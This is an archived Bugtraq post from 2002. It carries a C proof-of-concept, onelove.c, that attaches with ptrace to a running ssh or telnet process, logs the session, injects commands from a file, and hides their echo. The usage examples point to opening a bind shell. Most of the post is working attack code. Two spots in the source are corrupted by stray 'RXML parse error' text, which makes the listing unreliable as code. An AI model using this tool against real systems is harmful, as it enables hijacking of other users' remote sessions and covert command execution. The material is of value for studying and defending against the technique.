80156 2002-10-04 23:55 /5 rader/ xenion <xenion@acidlife.com>
Importerad: 2002-10-04 23:55 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <1803>
Ärende: injecting commands on a ptraced telnet/ssh session
------------------------------------------------------------
proof of concept code demostrating how we can inject commands on a
ptraced telnet/ssh session, have fun.
[ xenion@acidlife.com ][ http://www.acidlife.com/mayhem/tba/ ]
(80156) /xenion <xenion@acidlife.com>/----(Ombruten)
Bilaga (text/x-csrc) i text 80157
Bilaga (application/pgp-keys) i text 80158
80157 2002-10-04 23:55 /628 rader/ xenion <xenion@acidlife.com>
Bilagans filnamn: "onelove.c"
Importerad: 2002-10-04 23:55 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <1804>
Bilaga (text/plain) till text 80156
Ärende: Bilaga (onelove.c) till: injecting commands on a ptraced telnet/ssh session
------------------------------------------------------------
/*
*
* $Id: onelove.c,v 0.4 2002/10/03 2:10:27 xenion Exp $
*
* ---------------------------------------------------------------------------
* No part of this project may be used to break the law, or to cause damage of
* any kind. And I'm not responsible for anything you do with it.
* ---------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
* <xenion@acidlife.com> wrote this file. As long as you retain this notice
* you can do whatever you want with this stuff. If we meet some day, and you
* think this stuff is worth it, you can buy me a beer in return.
* xenion ~ Dallachiesa Michele
* ---------------------------------------------------------------------------
*
* This is proof of concept code demostrating how we can inject commands
* on a ptraced telnet/ssh session.
*
* ---------------------------------------------------------------------------
*
*
* EXAMPLES
*
* ./onelove -p2418 -0 -c _boxinfo -l l0g -+ -e
*
* attach pid 2418,
* enable ssh fd(s),
* use _boxinfo for commands,
* log to file,
* log to stdout (without -l ignored),
* enable echo hiding.
*
* ./onelove -p3953 -1 -c _bindshell -e
*
* attach pid 3953,
* enable telnet fd(s),
* use _bindshell for commands,
* enable echo hiding.
*
*
* LENGTH OF read(2) BUFFERS, MIGHT HELP SOMETIMES:
*
* ssh : 16384
* telnet: 8192
* BitchX: 2048
*
*
* GREETZ
*
* Dark-Angel, my friends.. you know who you are.
*
*/
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <signal.h>
#include <asm/unistd.h>
#include <dirent.h>
#include <errno.h>
#include <limits.h>
#include <time.h>
#include <sys/stat.h>
#define WORD_SIZE 4
#define BUFLEN 4096
#define CMDLEN 4096
#define VERSION "0.4"
/*
* PTRACE states
*/
#define PTRACE_NOT_ATTACHED 0 /* not yet attached */
#define PTRACE_STOP1 1 /* first stop */
#define PTRACE_STOP2 2 /* second stop */
#define PTRACE_DONE 3 /* we've finished our work */
/*
* INJECT states
*/
#define INJECT_NOTH 0 /* nothing to do, just do nothing */
#define INJECT_TODO 1 /* we've to inject our commands */
#define INJECT_HIDE 2 /* now we've to hide the output */
/*
* ssh/telnet fd(s)
*/
#define READ_FD_SSH 4
#define WRITE_FD_SSH 5
#define READ_FD_TELNET 0
#define WRITE_FD_TELNET 1
#define LOG(arg...) { \
fprintf(o.log, "## "); \
fprintf(o.log, ## arg); \
fflush(o.log); \
if(o.stdout) { \
fprintf(stdout, "## "); \
fprintf(stdout, ## arg); \
fflush(stdout); \
} \
}
#define LOG_WRITE(arg...) { \
fwrite(## arg, o.log); \
fflush(o.log); \
if(o.stdout) { \
fwrite(## arg, stdout); \
fflush(stdout); \
} \
}
// 'x' viene approssimato per eccesso ad un multiplo di 'y'
#define COUNT_OK(x, y) (##x % ##y != 0 ? ##x+(##y - (##x % ##y)) : ##x)
// 'x' viene approssimato per difetto ad un multiplo di 'y'
#define LEN_OK(x, y) (##x-(##x % ##y))
#define IS_SYSCALL_AND_FD(x) \
(data.orig_eax == __NR_##x && data.ebx == o.fd_##x)
#define SIG_NAME(x) x == SIGURG ? "SIGURG" : \
x == SIGPIPE ? "SIGPIPE" : \
x == SIGQUIT ? "SIGQUIT" : \
x == SIGINT ? "SIGINT" : \
x == SIGTERM ? "SIGTERM" : \
x == SIGHUP ? "SIGHUP" : \
x == SIGSEGV ? "SIGSEGV" : \
x == SIGBUS ? "SIGBUS" : "UNKNOWN"
#define FD_SSH_OR_TELNET o.fd_read == READ_FD_SSH ? \
(o.fd_write == WRITE_FD_SSH ? \
"(ssh)" : "") : \
o.fd_read == READ_FD_TELNET ? \
(o.fd_write == WRITE_FD_TELNET ? \
"(telnet)" : "") : ""
void fatal(char *, ...);
void init_opt(int, char **);
void help();
void sigdie(int);
int memread(pid_t, unsigned char *, unsigned char *, long,
long);
int memwrite(pid_t, unsigned char *, unsigned char *, long,
long);
int dataonstdin();
unsigned char *memem(unsigned char *, unsigned char *, size_t, size_t);
typedef struct {
pid_t pid;
int status,
mode,
inject,
echo,
cmdlen,
fd_read,
fd_write,
stdout;
unsigned char cmd[CMDLEN];
FILE *log;
} OPT;
OPT o;
int
main(int argc, char **argv)
{
struct user_regs_struct data;
unsigned char buf[BUFLEN];
int z;
long edx_write_backup;
o.mode = PTRACE_NOT_ATTACHED;
init_opt(argc, argv);
LOG("pid : %d\n", getpid());
LOG("ptraced pid : %d\n", o.pid);
LOG("echo : %s\n", o.echo ? "YES" : "NO");
LOG("fds : r:%d,w:%d %s\n", o.fd_read, o.fd_write,
FD_SSH_OR_TELNET);
LOG("\n");
signal(SIGTERM, sigdie);
signal(SIGINT, sigdie);
signal(SIGQUIT, sigdie);
signal(SIGHUP, sigdie);
signal(SIGSEGV, sigdie);
signal(SIGURG, SIG_IGN);
if (ptrace(PTRACE_ATTACH, o.pid, 0, 0) < 0)
fatal("ptrace(PTRACE_ATTACH, ...) failed");
LOG("Attached! Now I'll display the session I/O. When you're\n");
LOG("sure the user can run commands, press ENTER and wait.\n");
LOG("\n");
o.mode = PTRACE_STOP1;
o.inject = INJECT_NOTH;
wait(NULL);
while (o.mode != PTRACE_DONE) {
if (ptrace(PTRACE_SYSCALL, o.pid, 0, 0) < 0)
fatal("ptrace(PTRACE_SYSCALL ...) failed");
wait(
RXML parse error: Unknown scope "o".
| &o.status);
if (WSTOPSIG(o.status) != SIGTRAP) {
LOG("Sending signal %d\n", WSTOPSIG(o.status));
ptrace(PTRACE_SYSCALL, o.pid, 0, WSTOPSIG(o.status));
}
if (ptrace(PTRACE_GETREGS, o.pid, 0, &data) < 0)
fatal("ptrace(PTRACE_GETREGS ...) failed");
switch (o.mode) {
case PTRACE_STOP1:
if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) {
z = memread(o.pid, buf, (unsigned char *) data.ecx,
data.edx, sizeof buf);
edx_write_backup = data.edx;
data.edx = 0;
if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
fatal("ptrace(PTRACE_SETREGS ...) failed");
if (z < 0) {
LOG("\n*** WARNING(0): memread() failed (%ld bytes to read) ***\n", edx_write_backup);
} else
LOG_WRITE(buf, 1, data.edx);
}
o.mode = PTRACE_STOP2;
break;
case PTRACE_STOP2:
if (dataonstdin()) {
read(0, buf, sizeof buf);
if (*buf == 'q')
fatal("Aborted");
if (o.inject == INJECT_NOTH) {
o.inject = INJECT_TODO;
LOG("\n");
LOG("I'll wait for a read(2) buffer ending with \\r or \\n,\n");
LOG("where I'll inject the commands..\n");
LOG("\n");
}
if (o.inject == INJECT_HIDE) {
LOG("Done, exiting..\n");
o.inject = INJECT_NOTH;
o.mode = PTRACE_DONE;
LOG("\n");
LOG("Done.\n");
break;
}
}
if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) {
/*
* restoring the count of bytes to send
*/
data.eax = edx_write_backup;
if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
fatal("ptrace(PTRACE_SETREGS ...) failed");
}
if (IS_SYSCALL_AND_FD(write) || IS_SYSCALL_AND_FD(read)) {
z = memread(o.pid, buf, (unsigned char *) data.ecx,
data.eax, sizeof buf);
if (z < 0) {
LOG("\n*** WARNING(1): memread() failed (%ld bytes to read) ***\n", data.eax);
o.mode = PTRACE_STOP1;
break;
}
LOG_WRITE(buf, 1, data.eax);
if (o.inject == INJECT_TODO &&
IS_SYSCALL_AND_FD(read)) {
if (buf[data.eax - 1] == '\r'
|| buf[data.eax - 1] == '\n') {
LOG("Injecting commands\n");
z = memwrite(o.pid,
(unsigned char *) (data.ecx +
data.eax), o.cmd,
o.cmdlen, sizeof o.cmd);
if (z < 0)
fatal("memwrite( ...) failed");
data.eax += o.cmdlen;
if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
fatal("ptrace(PTRACE_SETREGS ...) failed");
if (!o.echo) {
LOG("Done.\n");
o.mode = PTRACE_DONE;
break;
} else {
o.inject = INJECT_HIDE;
LOG("Done.\n");
LOG("I'll hide all write(2)s untill you press ENTER\n");
LOG("\n");
}
}
}
}
o.mode = PTRACE_STOP1;
break;
default:
fatal("Oops");
break;
}
}
LOG("Detaching process\n");
if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0) {
LOG("ptrace(PTRACE_DETACH ...) failed\n");
} else
LOG("Ok, you're safe this time ;)\n\n");
return 0;
}
void
init_opt(int argc, char **argv)
{
int c;
FILE *f;
o.echo = 0;
o.pid = 0;
o.fd_read = o.fd_write = -1;
o.cmdlen = -1;
o.log = stdout;
o.stdout = 0;
while ((c = getopt(argc, argv, "p:r:w:01c:l:+eh")) != EOF)
switch (c) {
case 'p':
o.pid = atoi(optarg);
break;
case 'r':
o.fd_read = atoi(optarg);
break;
case 'w':
o.fd_write = atoi(optarg);
break;
case '0':
o.fd_read = READ_FD_SSH;
o.fd_write = WRITE_FD_SSH;
break;
case '1':
o.fd_read = READ_FD_TELNET;
o.fd_write = WRITE_FD_TELNET;
break;
case 'l':
o.log = fopen(optarg, "a+");
if (o.log == NULL)
fatal("unable to open log file");
break;
case '+':
o.stdout = 1;
break;
case 'c':
f = fopen(optarg, "r");
if (f == NULL)
fatal("unable to open cmd file");
o.cmdlen = fread(o.cmd, 1, sizeof o.cmd, f);
if (o.cmdlen == sizeof o.cmd || o.cmdlen == 0)
fatal("cmdfile broken");
fclose(f);
break;
case 'e':
o.echo = 1;
break;
case 'h':
help();
break;
default:
fatal("try -h");
}
if (o.pid == 0)
fatal("pid needed");
if (o.fd_read == -1 || o.fd_write == -1)
fatal("r/w fd(s) needed");
switch (o.cmdlen) {
case -1:
fatal("cmd file needed");
case 0:
fatal("cmd file broken");
}
if (o.log == stdout)
o.stdout = 0;
}
void
fatal(char *pattern, ...)
{
va_list ap;
va_start(ap, pattern);
fprintf(o.log, "** ");
vfprintf(o.log, pattern, ap);
fprintf(o.log, "; exit forced.\n");
va_end(ap);
if (o.pid == 0) {
fclose(o.log);
exit(1);
}
sigdie(SIGTERM);
}
void
help()
{
printf
("onelove v%s by xenion - Injects commands on a ptraced telnet/ssh session\n\n",
VERSION);
printf("USAGE: onelove [options]\n\n");
printf("-p pid (ssh|telnet) pid\n");
printf
("-0 default fd(s) for ssh (r:%d,w:%d)\n",
READ_FD_SSH, WRITE_FD_SSH);
printf
("-1 default fd(s) for telnet (r:%d,w:%d)\n",
READ_FD_TELNET, WRITE_FD_TELNET);
printf("-r fd read(2) fd\n");
printf("-w fd write(2) fd\n");
printf("-c file cmdfile\n");
printf("-l file logfile\n");
printf
("-+ log to stdout (without -l ignored)\n");
printf("-e enable echo hiding\n\n");
exit(0);
}
void
sigdie(int signo)
{
int pid;
LOG("caught %s signal (%d), cleaning up\n", SIG_NAME(signo),
signo);
if (o.mode != PTRACE_NOT_ATTACHED) {
switch (pid = fork()) {
case -1:
fatal("fork()");
break;
case 0: /* child process starts */
LOG("Sending a SIGCONT signal to the ptraced process\n");
if (kill(o.pid, SIGCONT) < 0) {
o.pid = 0;
fatal("kill()");
}
break;
default: /* parent process starts */
wait(
RXML parse error: Unknown scope "o".
| &o.status);
if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0)
LOG("ptrace(PTRACE_DETACH ...) failed\n");
LOG("exited: %s\n", strerror(errno));
break;
}
}
fclose(o.log);
exit(0);
}
int memread(pid_t pid, unsigned char *dest, unsigned char *src, long
count,
long len)
{
long off;
long res;
if (count < 0 || len < 0)
return (-1);
count = COUNT_OK(count, WORD_SIZE);
len = LEN_OK(len, WORD_SIZE);
if (len < count)
return -1;
for (off = 0; off < count; off += WORD_SIZE) {
res = ptrace(PTRACE_PEEKTEXT, pid, src + off, 0);
if (errno > 0)
return -1;
else
memcpy(dest + off, &res, WORD_SIZE);
}
return count;
}
int memwrite(pid_t pid, unsigned char *dest, unsigned char *src, long
count,
long len)
{
long off;
long res;
if (count < 0 || len < 0)
return (-1);
count = COUNT_OK(count, WORD_SIZE);
len = LEN_OK(len, WORD_SIZE);
if (len < count)
return -1;
for (off = 0; off < count; off += WORD_SIZE) {
memcpy(&res, src + off, WORD_SIZE);
if (ptrace(PTRACE_POKETEXT, pid, dest + off, res) < 0)
return -1;
}
return count;
}
int
dataonstdin()
{
fd_set rfds;
struct timeval tv;
int retval;
FD_ZERO(&rfds);
FD_SET(0, &rfds);
tv.tv_sec = tv.tv_usec = 0;
retval = select(1, &rfds, NULL, NULL, &tv);
if (retval)
return 1;
else
return 0;
}
unsigned char *
memem(unsigned char *buf0, unsigned char *buf1, size_t len0, size_t len1)
{
size_t i,
j;
int found;
if (len1 > len0)
return NULL;
for (i = 0; i < len0; ++i) {
if (buf0[i] == buf1[0]) {
found = 1;
for (j = 1; j + i < len0 && j < len1; ++j)
if (buf0[i + j] != buf1[j])
found = 0;
if (found)
return &buf0[i];
}
}
return (NULL);
}
/*
* EOF
*/
(80157) /xenion <xenion@acidlife.com>/----(Ombruten)
80158 2002-10-04 23:55 /35 rader/ xenion <xenion@acidlife.com>
Bilagans filnamn: "PGP key 0xBE1CF7AA"
Importerad: 2002-10-04 23:55 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <1805>
Bilaga (text/plain) till text 80156
Ärende: Bilaga (PGP key 0xBE1CF7AA) till: injecting commands on a ptraced telnet/ssh session
------------------------------------------------------------
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP 6.5.8
mQGiBD1d9AYRBADH+NM0R/hRN6vK7dGyF2qdvlyxNpmb3kbxcWjx9Nk8P77OFNfr
f4GcLvL+h+Lhdl8WzWulKEW3HHR26bMcTottC4/VVg1oGBZMWnetn0XG4sONC8Ha
vekyC4TM4K6wA8Cn+PJha+9sFsW2hN1TZiXv55LVmEvjJjVwLjkMUWvEGQCg/79/
3PLf0DjENtInSlBiyax+3UcD/A55fgmkHVSlK11o9gj9E+PcAiaR7skTgsQLXJUh
m1famx7sUDBxPZ8rAqBRGZTpHPb2/TgFSvgvtzZVPBIJQc7xpqpy1nGyPz1eV+tE
AKeFaD5jIQh5/gpZo+LjViFPgPVQpsObhYbYJMTMGwoCEZtkRIlTXTZ6WNBtWFUs
7xCZBACUABIL/aFg0WKL51cytnpxR7in5SHvPpm8NzkDF1kj7V6n1j59r76ufPww
d0Im5dECA1q7FSEp1HoAy0c1guVZUVfjVpgPJvBB5SRWtU1Te+CXzDNZj8s09mZ1
DgTA6MoJBzx5x/oVSbmzvM2Oroju8EppK+6JcijbpTLLyZGEXbQceGVuaW9uIDx4
ZW5pb25AYWNpZGxpZmUuY29tPokATgQQEQIADgUCPV30BgQLAwECAhkBAAoJECCm
09y+HPeq1qsAnjJb80LCHuO1v7dGh+YMZMIt7u1WAJ4gROfIAzQY8UphcXTZC0tH
GvfGebkDDQQ9XfQIEAwAzB13VyQ4SuLE8OiOE2eXTpITYfbb6yUOF/32mPfIfHmw
ch04dfv2wXPEgxEmK0Ngw+Po1gr9oSgmC66prrNlD6IAUwGgfNaroxIe+g8qzh90
hE/K8xfzpEDp19J3tkItAjbBJstoXp18mAkKjX4t7eRdefXUkk+bGI78KqdLfDL2
Qle3CH8IF3KiutapQvMF6PlTETlPtvFuuUs4INoBp1ajFOmPQFXz0AfGy0OplK33
TGSGSfgMg71l6RfUodNQ+PVZX9x2Uk89PY3bzpnhV5JZzf24rnRPxfx2vIPFRzBh
znzJZv8V+bv9kV7HAarTW56NoKVyOtQa8L9GAFgr5fSI/VhOSdvNILSd5JEHNmsz
bDgNRR0PfIizHHxbLY7288kjwEPwpVsYjY67VYy4XTjTNP18F1dDox0YbN4zISy1
Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWakXUGfnHy9
iUsiGSa6q6Jew1XpTDJvAAICDACSye6LbvifPL0gqf5xZzmKTv+7Tq5wuLcboong
266uDCa5aD5PiX4P5OW4aqLokRN+d6TxXaPC1NG9p45JSYWyp6emUeH0Pon4vLzN
M3dLrwBWPIZjaBtX47MO4ieGASSP6diktlOFEBqI27gZtSe1jZprmC58nWf/UMUk
i8UFpdO4RL+Bfabj5qMnrg6/IX5O4k8QoVwlmbPLuhsgKow8TneTgobvB14bRj//
G5p5Myite9pFUxrwvrjq8J4BfGOnI7tHVEIO3RzaMoloUes7sK9n1gKLN1B6YDS3
GddZD3ijwzU6GixO24h0QX00n7ATgPbbp9/ugrsQJmWsfS0CCMOZOifR8XIICHlc
tWw4kFdlAE7IygL9V2Rp9PEVtdsn9HE4l6FOPz/LN785c62IympAaV6h4KyTXUww
3mWIOrc1N7YgTDAc6d4m4B8sq5PVGmOHYxx9NJObE5kG376W+JdYDWccF3yg2yCN
yugLrKMXmt2FpLZoxzIRUIY5+4iJAEYEGBECAAYFAj1d9AgACgkQIKbT3L4c96pJ
9ACg/tPW4i5UTiE7J87eyQWJoCuQHjYAoLeqDvcZNg0AXZDyKM4UKYTB+TIC
=ism1
-----END PGP PUBLIC KEY BLOCK-----
(80158) /xenion <xenion@acidlife.com>/--------------